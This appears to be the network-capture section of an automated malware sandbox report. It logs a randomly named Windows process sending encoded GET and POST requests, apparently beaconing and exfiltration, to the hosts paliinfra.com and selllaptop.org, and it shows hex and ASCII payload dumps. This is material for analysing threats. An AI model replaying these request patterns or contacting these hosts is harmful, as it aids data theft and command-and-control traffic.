41 50 46 39 51 64 61 63 36 39 6e 71 6e 76 57 6e 46 54 4b 47 6e 71 77 4a 48 76 39 32 77 4b 47 42 63 55 48 58 57 6c 41 77 66 5a 7a 4c 6d 4f 53 32 31 72 76 43 32 75 52 6f 6b 2b [TRUNCATED] Data Ascii: vX=IPbF/GCs15Xh/Q3nvfL/axW0fBl4en5+otqkna83HEbpzxtkE+DhdYze4w4kwf9UgGxsX0PkeZBgHNJvJ0BBvaiasGlif7s2BBgJXzN0HMEsLhLTblfn7JS92F2m6EEXnfoANJDj0jhUMWtNAFaprietGQfZmW2+ROFnN4JYBd9Tnlef2I10WjYucXXUEMcHbj5SxIV5qVhZnoXuOdh/AdcHPRTqI5apKZkgg09SVvC+0Au1TNJiktcJuNhsuWbLTPAxfMUGR8RTAgvvKoHV5APF9Qdac69nqnvWnFTKGnqwJHv92wKGBcUHXWlAwfZzLmOS21rvC2uRok+hiKcWvnGSxsr06pfwah0m1UzAR7OYHPDsfT43oYgo5PNCt1UJpVzqyigXnfm4maoh6SSpa02GdC5bZu18keIdCgksCrR4d5pGeKPAqvqVDlgIyW+d5b1bv+7XrPSC8CQ1Ym8MuH3NgXCDnpzRaSBMEBD6Aa5tU0LZRUibrZ0Ey9S/dMUl/K8eLWjYx0MUMBpAYCzj+couLYgOYCpaynUFgpBlTSi5Uv9b6wetChT9HuULTIwvLUYdUMBR37aV7cKXQa4EgMa6R1EIeyjRe8zbASGGSCRmtW/dvlurIdUj4dqRaNMfrepvq7ysAbhpZTshQsGueKVwfY7bFuxT7nydJykcFAlywciOuLLNEc5rEn5tIlYfRtbLLp0uZFidENKNZxYI1/tjY1M3g+7MX73VYeDwLB4stavOtIEsLMBqKZeRY0Sgo5FiWQbt2LpZGSGpLNnVKFz88xdjMNSIW77YqDE9px77zVlNFDkPS9bbsSbtyGFiBVsLtLLFZvmAuknFUuyknG58SPwd4yNjT5tjQPetEFmy4eg2Y5wtihyeMLtQb2Zk6G1/A6SkPVyFWhbPphuvlo8+2xQu/ldQITCDX3YSNj4jC67kxAe06RntcS1JyvinXFNK/RdV9Pi+POq/TPm2kRoChRlvw0gL57uVQ1z8mpBOUyegf [TRUNCATED]
Jul 3, 2024 17:39:22.826476097 CEST	5156	OUT	Data Raw: 71 37 4c 4e 67 6b 75 62 32 6c 2f 6c 56 69 32 67 42 68 48 78 54 51 47 43 45 34 41 2f 46 42 38 76 6f 73 4c 7a 4b 59 42 52 4d 59 72 69 7a 4f 69 76 46 58 38 33 41 78 77 52 2b 62 6a 2f 33 54 57 41 6e 30 73 66 4c 78 68 69 52 75 51 4a 55 47 36 55 4f 6f Data Ascii: q7LNgkub2l/lVi2gBhHxTQGCE4A/FB8vosLzKYBRMYrizOivFX83AxwR+bj/3TWAn0sfLxhiRuQJUG6UOonkgh9Sg/NJaW4Nv+LktGf5j0384rSIYPVx+8UoLpoZUHf5Y8NO5tG8ZGsocUktlbCcbizHrb8Yw+PY44DJbDrGGbZaEUothFNKOzp302I6z48UZAQlS0bmXkOMswsq2UFhQykNwLT0v7MQXAGW1cwAe2ZX32UrwhG
Jul 3, 2024 17:39:23.073486090 CEST	2578	OUT	Data Raw: 4d 43 56 65 70 49 4e 66 42 6a 6e 4a 52 58 57 53 6f 59 69 6e 37 63 48 59 74 43 58 63 48 4d 72 4d 73 32 36 6d 38 4f 51 57 43 39 54 44 64 6f 4e 6d 53 62 48 34 35 46 53 48 67 79 4a 41 4a 52 37 5a 63 72 6a 36 56 57 53 79 63 78 4d 6b 6c 53 6b 2b 32 71 Data Ascii: MCVepINfBjnJRXWSoYin7cHYtCXcHMrMs26m8OQWC9TDdoNmSbH45FSHgyJAJR7Zcrj6VWSycxMklSk+2q8M0HVDi8P81034C0WmIftBz9TumU+UaJGOIyywB/wkRAbOcbVEReO2W6D84pvIeHT7mTfYB3HjrQ7wUUWB16JKe8627NE74rusCr6QqrVDozF2KhmfWCQpAA23mUQw7I0TF9tvkac3ytcK2y8V4OKxMI3oljqFwWO
Jul 3, 2024 17:39:23.073553085 CEST	7734	OUT	Data Raw: 69 59 46 5a 37 4e 64 55 72 7a 6e 5a 6c 64 58 7a 45 4b 6a 6b 54 56 4c 6f 53 36 33 50 42 7a 2b 69 73 45 2f 33 67 74 31 56 69 34 48 46 4b 39 71 7a 75 50 54 43 48 6b 48 61 38 72 44 2b 55 38 5a 67 69 4a 43 39 52 54 70 73 77 73 69 4b 47 72 43 69 44 4e Data Ascii: iYFZ7NdUrznZldXzEKjkTVLoS63PBz+isE/3gt1Vi4HFK9qzuPTCHkHa8rD+U8ZgiJC9RTpswsiKGrCiDNOx/f+Gyj6XsK5j/9NoO++hxtT53R3KpiEbMmgQy9ZmcmOy+d7QlSQoBOobrwXJ+HsbBcpp84PXFHltckPTWwgevBLsT0jAU5rOsPA2pN7wkHvSQVrKDzdT/PTo4mnvXGJiGnnbIiqZmuHXEMGxfAx1CRq7zxVoOc8
Jul 3, 2024 17:39:23.073599100 CEST	2578	OUT	Data Raw: 56 51 70 51 4f 67 2f 52 6f 43 54 36 36 74 71 7a 5a 2b 32 43 30 71 7a 47 79 36 4b 55 46 65 36 33 31 31 48 47 31 34 32 42 35 77 2f 7a 4a 6c 72 66 4f 66 61 54 69 44 57 4a 4b 53 67 55 70 62 30 59 72 66 37 79 6d 51 4e 6a 5a 6f 2b 52 48 42 74 52 2b 67 Data Ascii: VQpQOg/RoCT66tqzZ+2C0qzGy6KUFe6311HG142B5w/zJlrfOfaTiDWJKSgUpb0Yrf7ymQNjZo+RHBtR+ghLZqzgz3G2oi3YRpAAxXnycR/a0yHJZmKzVsupOnpr/NW1inP/xzYorUTYw0A6put0WWHL1GdqiwqtWnMZlPl281IN3YfNpbzdb2Ft8j/HlIByi0KxMZkL+10rQmgJQ1/VrvqsYEQLtH4ernNTSv6D9iwMyWGET/9
Jul 3, 2024 17:39:23.073941946 CEST	12890	OUT	Data Raw: 53 51 4a 73 69 79 4b 77 52 31 59 73 42 70 50 48 76 41 41 47 51 45 71 57 72 4f 6c 62 6e 38 63 45 4f 7a 43 57 51 4f 78 2f 4b 6d 2f 59 72 5a 64 72 49 6a 67 31 71 5a 48 48 31 76 36 36 59 50 76 56 36 7a 77 4e 43 43 61 49 43 57 34 6c 77 53 32 6b 71 30 Data Ascii: SQJsiyKwR1YsBpPHvAAGQEqWrOlbn8cEOzCWQOx/Km/YrZdrIjg1qZHH1v66YPvV6zwNCCaICW4lwS2kq0/aAbbsjZEK4Cl9o2NwW0t0Tqa4/66q+cRTEeh13GZNhvlbr//VSU5fyb5C8jsXPcBYUIEM3EnXt33ATU0zleT0CEb4q46nFt8WqP5GAXstHYy551c2IsNGKjCQ5Ur4QmzK7kp9muYF5jZ8JmSZAztmS5cvB3z4JEU
Jul 3, 2024 17:39:23.324693918 CEST	3867	OUT	Data Raw: 75 36 34 70 38 70 68 30 37 76 76 5a 54 79 68 65 5a 71 6a 64 57 73 37 31 68 67 6e 64 4b 46 54 46 6f 79 64 74 2b 36 73 6c 42 35 73 30 51 73 54 37 69 66 6f 4d 65 4f 43 6d 4b 49 45 72 64 35 44 42 38 67 55 6f 49 48 35 2f 33 6c 44 50 70 73 38 46 4b 43 Data Ascii: u64p8ph07vvZTyheZqjdWs71hgndKFTFoydt+6slB5s0QsT7ifoMeOCmKIErd5DB8gUoIH5/3lDPps8FKCdBMopMePBa8Z86x/DcZ8diFvBtIOir65D9ZscHwDwM1LFdfewMvWXXlDMwXiORXfrWA0GSj9mG2FDzedxBaOh94Nhhn8LqhT99aWOkfYGWFdr/X7qyiSof3kZTYrwYgyUu8lolYxCM42ybO9eq9gb+uDKVvZHMz+x
Jul 3, 2024 17:39:23.324744940 CEST	5156	OUT	Data Raw: 4f 41 51 41 55 58 6b 4a 64 63 34 50 6a 4c 2b 6a 31 6f 31 53 65 65 62 59 33 77 47 50 32 52 51 2b 4f 56 43 34 67 65 76 70 48 71 51 68 66 59 67 43 7a 4b 66 77 72 6d 75 79 50 47 41 6f 56 7a 2b 6f 33 55 39 70 74 63 6c 6a 6e 2b 75 4b 7a 54 61 6f 2f 42 Data Ascii: OAQAUXkJdc4PjL+j1o1SeebY3wGP2RQ+OVC4gevpHqQhfYgCzKfwrmuyPGAoVz+o3U9ptcljn+uKzTao/B61TWeKFNj9vvQCiRgw0GDGsrQP1LCackQN4McbzCMTDEXVdJVWS7rHLYxEUCJtnGSAXwfAAcegyJpRYgwts4zydGERNotfTbd88Cm/AUdX6nZqG9bpHkp+uwQhH0n3v/vi/Dt0fNMaEbRxesyB4UPJEEDW+liB4xd
Jul 3, 2024 17:39:23.324791908 CEST	5829	OUT	Data Raw: 48 61 75 75 58 64 35 33 7a 4c 43 37 36 38 6d 68 77 66 4b 34 37 4b 51 77 46 72 53 47 4b 39 36 64 52 46 64 38 67 46 79 6b 45 2f 7a 46 35 72 4c 50 4b 33 61 77 6f 6d 31 65 44 57 67 73 6b 64 55 43 41 4d 71 79 73 6f 4f 50 30 4e 33 75 48 6c 4a 50 36 54 Data Ascii: HauuXd53zLC768mhwfK47KQwFrSGK96dRFd8gFykE/zF5rLPK3awom1eDWgskdUCAMqysoOP0N3uHlJP6TkBtNyZHSvydQlTL4Aq2eXGDyk+mC8lkEQvDnfkwp/JmB1UqBW2/CXtWviDIeI+9+h9+9Ge95AeaBRUTPJzj4gZ43Q+wXIddG+Ae9vHM0RgETgGc/U2B+BkYTkxXwF6AuutkrEAQonzdNnN5/m5G4w6w2Y5BaVxIAZ
Jul 3, 2024 17:39:24.262131929 CEST	1211	IN	HTTP/1.1 301 Moved Permanently Server: hcdn Date: Wed, 03 Jul 2024 15:39:24 GMT Content-Type: text/html Content-Length: 795 Connection: close location: https://www.paliinfra.com/12kg/ platform: hostinger content-security-policy: upgrade-insecure-requests alt-svc: h3=":443"; ma=86400 x-hcdn-request-id: ef12695f63427e8a33704ec304a9f7ef-asc-edge5 x-hcdn-cache-status: DYNAMIC x-hcdn-upstream-rt: 0.666 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.11.20	49818	84.32.84.192	80	7100	C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:39:25.651051998 CEST	521	OUT	GET /12kg/?vX=FNzl8wnE++HPhG206OaKKCmPORssckNSyI+M4a86U0qBkTFFPriGBeWQyCEz+v1Kx2tJcxLpZ/phLMA1BmxsvaSisGFPcKMREi9fCQxgCdocMTbgTC3h6NU=&_B7=LxyxWrj8kri0gh HTTP/1.1 Host: www.paliinfra.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10
Jul 3, 2024 17:39:26.555114985 CEST	1289	IN	HTTP/1.1 301 Moved Permanently Server: hcdn Date: Wed, 03 Jul 2024 15:39:26 GMT Content-Type: text/html Content-Length: 795 Connection: close location: https://www.paliinfra.com/12kg/?vX=FNzl8wnE++HPhG206OaKKCmPORssckNSyI+M4a86U0qBkTFFPriGBeWQyCEz+v1Kx2tJcxLpZ/phLMA1BmxsvaSisGFPcKMREi9fCQxgCdocMTbgTC3h6NU=&_B7=LxyxWrj8kri0gh platform: hostinger content-security-policy: upgrade-insecure-requests alt-svc: h3=":443"; ma=86400 x-hcdn-request-id: e414735422a99c70a6ef87d2cb41b235-asc-edge3 x-hcdn-cache-status: MISS x-hcdn-upstream-rt: 0.644 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The docume
Jul 3, 2024 17:39:26.555211067 CEST	62	IN	Data Raw: 6e 74 20 68 61 73 20 62 65 65 6e 20 70 65 72 6d 61 6e 65 6e 74 6c 79 20 6d 6f 76 65 64 2e 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: nt has been permanently moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.11.20	49820	3.33.130.190	80

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:41:04.604430914 CEST	788	OUT	POST /tq5r/ HTTP/1.1 Host: www.selllaptop.org Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.selllaptop.org Referer: http://www.selllaptop.org/tq5r/ Content-Length: 199 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10 Data Raw: 76 58 3d 37 59 4a 46 4e 36 6a 34 61 64 62 4c 59 2b 41 44 48 66 62 66 66 37 67 51 44 53 73 56 6b 50 65 58 75 30 55 55 6a 52 54 47 35 36 77 57 68 53 72 6f 73 36 67 2f 35 35 39 41 42 41 44 49 49 78 59 46 30 76 44 2f 77 59 36 76 6a 37 74 71 2b 67 52 70 6f 65 31 2b 6c 61 4d 6a 30 49 4c 6d 6b 73 6c 58 44 2f 62 2f 79 4c 67 74 57 44 45 41 6f 73 50 66 71 7a 59 5a 58 4d 47 38 37 4b 4e 44 77 4f 78 32 56 2f 69 6b 38 33 4a 71 56 61 34 4b 62 42 33 72 54 51 66 2f 64 59 4f 2f 56 49 44 4b 66 62 6c 52 32 74 6d 35 45 48 56 69 74 78 6f 69 6b 76 54 57 69 37 6e 75 67 53 71 78 73 32 31 6e 72 30 57 2b 68 51 3d 3d Data Ascii: vX=7YJFN6j4adbLY+ADHfbff7gQDSsVkPeXu0UUjRTG56wWhSros6g/559ABADIIxYF0vD/wY6vj7tq+gRpoe1+laMj0ILmkslXD/b/yLgtWDEAosPfqzYZXMG87KNDwOx2V/ik83JqVa4KbB3rTQf/dYO/VIDKfblR2tm5EHVitxoikvTWi7nugSqxs21nr0W+hQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.11.20	49821	3.33.130.190	80

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:41:07.282335043 CEST	1128	OUT	POST /tq5r/ HTTP/1.1 Host: www.selllaptop.org Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.selllaptop.org Referer: http://www.selllaptop.org/tq5r/ Content-Length: 539 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10 Data Raw: 76 58 3d 37 59 4a 46 4e 36 6a 34 61 64 62 4c 65 65 77 44 45 35 54 66 4c 72 67 54 66 43 73 56 72 76 65 4d 75 30 59 55 6a 54 2f 57 36 4a 59 57 68 79 62 6f 74 37 67 2f 33 5a 39 41 4f 67 44 48 4d 78 59 4f 30 76 65 63 77 64 43 76 6a 37 35 71 2f 53 4a 70 75 75 31 78 39 4b 4d 67 33 49 4c 72 31 38 6c 4b 44 2f 57 51 79 4b 6b 74 57 53 6f 41 36 2b 58 66 39 53 59 61 54 73 47 2b 39 4b 4e 4d 6d 2b 77 33 56 2f 75 73 38 31 4a 36 41 35 6b 4b 62 68 58 72 53 51 66 38 56 6f 4f 38 4a 34 43 44 54 2b 38 48 7a 35 75 6b 41 31 42 47 6c 69 6b 41 34 64 72 79 6d 4e 53 57 69 54 4f 6f 76 46 30 4a 71 56 6a 51 36 33 6f 62 66 4a 4a 6d 78 68 31 44 55 48 59 72 71 68 59 66 7a 73 76 75 6b 50 63 73 4e 6b 50 70 6e 61 57 34 71 57 41 36 4a 71 66 77 4d 4d 79 30 67 72 2f 4f 6d 4b 38 53 37 42 77 51 75 59 53 45 4d 47 6e 47 4d 6f 4c 75 6b 4b 4f 46 71 36 4c 74 4b 58 61 31 78 47 4c 57 6f 4d 31 44 45 6d 75 46 6b 79 36 38 6e 35 55 4f 34 4a 4d 35 42 37 59 6a 50 51 64 5a 50 64 72 66 74 35 76 4b 31 49 59 77 5a 4c 2b 34 46 63 68 77 74 43 2f 6f 30 47 6d [TRUNCATED] Data Ascii: vX=7YJFN6j4adbLeewDE5TfLrgTfCsVrveMu0YUjT/W6JYWhybot7g/3Z9AOgDHMxYO0vecwdCvj75q/SJpuu1x9KMg3ILr18lKD/WQyKktWSoA6+Xf9SYaTsG+9KNMm+w3V/us81J6A5kKbhXrSQf8VoO8J4CDT+8Hz5ukA1BGlikA4drymNSWiTOovF0JqVjQ63obfJJmxh1DUHYrqhYfzsvukPcsNkPpnaW4qWA6JqfwMMy0gr/OmK8S7BwQuYSEMGnGMoLukKOFq6LtKXa1xGLWoM1DEmuFky68n5UO4JM5B7YjPQdZPdrft5vK1IYwZL+4FchwtC/o0GmhCSZ1f/LzC4K69OTIrgMQHQ8Ii9WQvDnvCyIlsKimvz6wsWerHL6IzM+Nmnzjk/oniLD3bDtG/3HUTwjRhJZf7MD4Ur9lIMsxzoyKHxg0YmX+y4Dt1MKHscnNKjpw+cqbu87OywwOkEQAcTQZfGpToYIm/qGjbtedQDRpw6/UmrEzF/bmsRY6m/mfJNN4URbAf3HiRNE=

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.11.20	49822	3.33.130.190	80

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:41:09.955025911 CEST	2578	OUT	POST /tq5r/ HTTP/1.1 Host: www.selllaptop.org Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.selllaptop.org Referer: http://www.selllaptop.org/tq5r/ Content-Length: 52927 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10 Data Raw: 76 58 3d 37 59 4a 46 4e 36 6a 34 61 64 62 4c 65 65 77 44 45 35 54 66 4c 72 67 54 66 43 73 56 72 76 65 4d 75 30 59 55 6a 54 2f 57 36 4a 41 57 6d 44 37 6f 73 59 49 2f 30 5a 39 41 48 41 43 41 4d 78 59 54 30 76 57 41 77 64 47 67 6a 35 42 71 2b 42 68 70 75 63 64 78 34 4b 4d 6c 34 6f 4c 70 6b 73 6b 64 44 2f 61 4d 79 4f 4d 39 57 44 63 41 6f 73 66 66 71 56 73 5a 56 4d 47 38 39 4b 4d 4e 30 4f 78 4b 56 2f 36 47 38 31 56 36 41 37 51 4b 59 79 76 72 52 48 4c 38 59 59 4f 6a 43 59 43 41 5a 65 38 32 7a 35 53 57 41 31 41 78 6c 6a 51 41 34 64 4c 79 6e 4b 75 58 6e 44 4f 6f 6a 6c 30 47 67 30 66 55 36 33 31 45 66 4a 39 6d 78 6d 68 44 53 6e 59 72 76 45 34 65 37 73 76 6f 75 76 64 73 48 46 7a 68 6e 65 2f 4a 71 53 51 36 4b 62 37 77 4b 2f 61 30 7a 4f 66 4f 6c 71 38 51 2f 42 78 4b 6b 34 53 49 4d 47 32 6e 4d 70 72 55 6b 4e 4f 46 73 62 72 74 61 6d 61 71 6d 57 4c 51 74 4d 30 5a 41 6d 69 7a 6b 79 71 77 6e 35 56 56 34 4e 55 35 42 4c 6f 6a 4d 55 4a 57 4f 74 72 63 6c 5a 76 66 37 59 56 2f 5a 4e 61 47 46 59 6c 65 74 44 33 6f 31 6d 6d [TRUNCATED] Data Ascii: vX=7YJFN6j4adbLeewDE5TfLrgTfCsVrveMu0YUjT/W6JAWmD7osYI/0Z9AHACAMxYT0vWAwdGgj5Bq+Bhpucdx4KMl4oLpkskdD/aMyOM9WDcAosffqVsZVMG89KMN0OxKV/6G81V6A7QKYyvrRHL8YYOjCYCAZe82z5SWA1AxljQA4dLynKuXnDOojl0Gg0fU631EfJ9mxmhDSnYrvE4e7svouvdsHFzhne/JqSQ6Kb7wK/a0zOfOlq8Q/BxKk4SIMG2nMprUkNOFsbrtamaqmWLQtM0ZAmizkyqwn5VV4NU5BLojMUJWOtrclZvf7YV/ZNaGFYletD3o1mmhShxyG/LOPYKsyuTlrhxxHUt3iM6Qu3HvOCIqoqjh6D629GerHL3szM6NmX7jlIknyM33dDt6/3H/TwvihJRx7NzGUoRlPd8x+KaNVxg1cmWo8Yf61MmxscW6KzFw/c6blc6YwQwJnEQRLjtYfG1loYUM/pGjY4CAB3NdzoD3vpFKE93wiwYFpfnqBI11VSbwLkDqSNASjaVKeFqme5Bl9VSkMn62MdXsG0KuWLtEV/NRVMrIhJ/cf6hIoXzHfKQuBqxyzLyz0qFo9IOnUnjXDn/x99ongKDACzE4KuveKxIJLfsGjXaeapDTIUzEcYZD+K9nqMLQnbiZ4+w7Jwe1/xE9+gG6SGutNLSj8QUCZodLPnVgPs6ZlAbgaGk88EW0HnLERuRLCfQDSPnalk/abzaaNCAQ4DWZxu9DeUnQ/SQN2FizLRavi8SDDPL11Evvap2Ur3iDdkjLAmlbgLRzkQHuGdQxsaaOmBhBjrNxSlH+clcQZpwLIpl7lnn+/y8g+cV8gz0RPcmqrk2zAAbHrCXMkB4iL9ko9C61a8XNonXZirGZcklU67JvQU8EOoGHQWAPacSseTQwDyFaVAusGphyvrcsRvMaK58lXMlEhQ8InN3s2R0zZvOpkzmGlbBIqcD/hGZoylP7qXRqmdNzSW7zxx2WytdHz [TRUNCATED]
Jul 3, 2024 17:41:09.955060005 CEST	3867	OUT	Data Raw: 61 4a 50 7a 4d 4b 6e 6e 57 43 6d 38 79 46 68 58 76 50 6e 79 5a 77 48 6d 35 2b 6f 65 69 78 31 61 30 7a 52 62 57 44 65 75 4b 59 71 37 77 44 6a 71 52 42 44 76 58 73 54 63 48 42 77 51 74 41 73 33 44 6d 4a 38 39 55 7a 51 43 74 31 54 6d 53 31 39 53 2f Data Ascii: aJPzMKnnWCm8yFhXvPnyZwHm5+oeix1a0zRbWDeuKYq7wDjqRBDvXsTcHBwQtAs3DmJ89UzQCt1TmS19S/f6j2L0ry09d2f6NFS8SRGZ7Jxd6V0VS/T8peIjLqko0k/TDfSZS6/+Db4zVyXEHmJxa4WGX72+I1Cqx/h34xsiHtfDujIGZLL1rfDG90XvlBZ1rwACkH6RoLgbv2NiqoOn6qCk0AW/xz3U5lR7tkrx/7KRqcULO/T
Jul 3, 2024 17:41:09.955136061 CEST	6445	OUT	Data Raw: 4a 4d 4f 71 48 50 67 46 69 30 59 55 39 34 62 55 2b 70 75 46 74 38 69 2f 7a 74 6f 51 4c 63 5a 43 42 4a 76 69 73 73 6e 6e 65 79 53 71 78 41 6d 56 67 33 66 68 74 58 71 71 4c 73 46 4e 73 37 71 73 6f 4a 71 55 74 39 74 34 37 6d 33 53 67 69 39 75 4f 35 Data Ascii: JMOqHPgFi0YU94bU+puFt8i/ztoQLcZCBJvissnneySqxAmVg3fhtXqqLsFNs7qsoJqUt9t47m3Sgi9uO5rdphsWkDAVLWPdyH1s/KJwYeCWZ00slQbaPl5No+Jfu7+nzv9vxiIuq7TdO5dOLFtMLw3ZMeKPGf5/Bd3jFqpCu5ySlcB6PWvovmMHsSn+GJwZhW3pFuk70ylzfBHgvAPgQU/8eKfN3egQPmZdvv50QOr9xlYYuhy
Jul 3, 2024 17:41:10.073859930 CEST	2578	OUT	Data Raw: 6d 39 74 66 62 2b 47 63 2b 6f 63 52 79 52 4d 64 65 4a 34 52 75 39 6b 4c 2b 36 74 33 62 79 4f 49 78 4a 32 6a 54 57 4f 58 36 69 51 2b 59 76 79 4b 52 50 6c 55 6b 34 2f 4a 4f 41 35 2f 53 43 75 76 52 30 4f 4b 48 43 51 44 56 64 2f 70 4e 67 55 78 4e 4b Data Ascii: m9tfb+Gc+ocRyRMdeJ4Ru9kL+6t3byOIxJ2jTWOX6iQ+YvyKRPlUk4/JOA5/SCuvR0OKHCQDVd/pNgUxNKvs0Bg38r6VxPs7QFxnUkp3qL1kw2r0wZW5jlxXI1gw61+zxsL4VZ1xyNxMRUeiqpyVVnHanyHES4rieZIbT3dWluOO6nKrkpjaDxGgTTEMkZn3WRCVPpaBIfv287+Vow8BOATozhpGTs4uCFpibhcdybBWEqEOB3s
